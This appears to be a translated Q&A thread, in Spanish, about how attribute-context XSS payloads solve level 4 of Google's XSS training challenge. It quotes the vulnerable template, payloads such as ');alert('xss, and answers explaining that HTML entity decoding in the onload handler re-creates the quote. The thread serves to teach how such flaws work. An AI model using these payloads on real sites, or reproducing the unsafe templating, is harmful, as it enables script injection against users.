¿Cómo está funcionando este ataque XSS?

3

ALERTA DE SPOILER: ¡Esta pregunta contiene una respuesta a uno de los problemas del XSS Challenge de Google ! Deja de seguir leyendo si no estás interesado en saber la respuesta ahora mismo.

Puedo pasar el nivel 4 del desafío , sin embargo, todavía no sé cómo exactamente el exploit está funcionando. El siguiente es el código del desafío XSS de Google, nivel 4:

<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />

    <script>
      function startTimer(seconds) {
        seconds = parseInt(seconds) || 3;
        setTimeout(function() { 
          window.confirm("Time is up!");
          window.history.back();
        }, seconds * 1000);
      }
    </script>
  </head>
  <body id="level4">
    <img src="/static/logos/level4.png" />
    <br>
    <img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
    <br>
    <div id="message">Your timer will execute in {{ timer }} seconds.</div>
  </body>
</html>

Básicamente, están utilizando el marco de Django ( que utiliza un conjunto de medidas de seguridad contra XSS ). La variable timer transporta la entrada del usuario. El objetivo de esta actividad es alertar a un mensaje mediante el envío de una carga útil que puede eludir la seguridad XSS de Django.

Puedo alertar un mensaje usando una de las siguientes cargas útiles:

');alert('xss

O

3') || alert('1

Puedo borrar el nivel utilizando las cargas útiles anteriores, pero aún no estoy seguro de dónde se está llamando exactamente el método alert (). ¿En el controlador onload O dentro del método startTimer() ?

Estoy confundido porque si compruebo el código fuente de la página después de enviar la carga, Django está codificando la carga:

<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />

    <script>
      function startTimer(seconds) {
        seconds = parseInt(seconds) || 3;
        setTimeout(function() { 
          window.confirm("Time is up!");
          window.history.back();
        }, seconds * 1000);
      }
    </script>
  </head>
  <body id="level4">
    <img src="/static/logos/level4.png" />
    <br>
    <img src="/static/loading.gif" onload="startTimer('&#39;);alert(&#39;xss');" />
    <br>
    <div id="message">Your timer will execute in &#39;);alert(&#39;xss seconds.</div>
  </body>
</html>
    
pregunta Rahil Arora 09.06.2014 - 16:34
fuente

4 respuestas

1

Lo que sucede es que la salida HTML es:

<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />

{{ timer }} es una variable que se "traduce" a lo que sea el parámetro ?timer GET. Supongamos que tenemos un parámetro legítimo: ?timer=3 . Se "traduce" a:

<img src="/static/loading.gif" onload="startTimer('3');" />

¿Pero qué pasa si pones un código en timer ? 3');alert('xss');//

<img src="/static/loading.gif" onload="startTimer('3');alert('xss');//')" />

Como puede ver, el logotipo se carga y, una vez que se carga, se ejecuta la devolución de llamada onload . Ahí está la vulnerabilidad.

P.S. no está en startTimer en sí mismo, porque parseInt s es la variable, y elimina todo menos los números, esencialmente 3'); ... se convierte en 3 .

    
respondido por el rev 09.06.2014 - 18:03
fuente
1

El problema es que las cadenas dentro de los valores de atributo HTML interpretan &#39; como equivalente a ' .

Entonces, mientras tu escape inteligente convierte la entrada 3') || alert('1 en 3&#39;) || alert(&#39;1 , el elemento img en la página se convierte en:

<img src="./test_files/loading.gif" onload="startTimer('3&#39;) || alert(&#39;1');">

su navegador trata esto como equivalente a:

<img src="./test_files/loading.gif" onload="startTimer('3') || alert('1');">

y el XSS funciona.

La razón por la que lo hace es porque cuando quieres decir que en <img src="image" alt="O&#39;Malley"> el texto alternativo se lee como O'Malley .

    
respondido por el dr jimbob 09.06.2014 - 18:32
fuente
0

Su alerta se está ejecutando justo en la carga porque la alerta no puede ser un valor de parámetro. Así se ejecuta al instante.

    
respondido por el Xatenev 09.06.2014 - 17:38
fuente

Lea otras preguntas en las etiquetas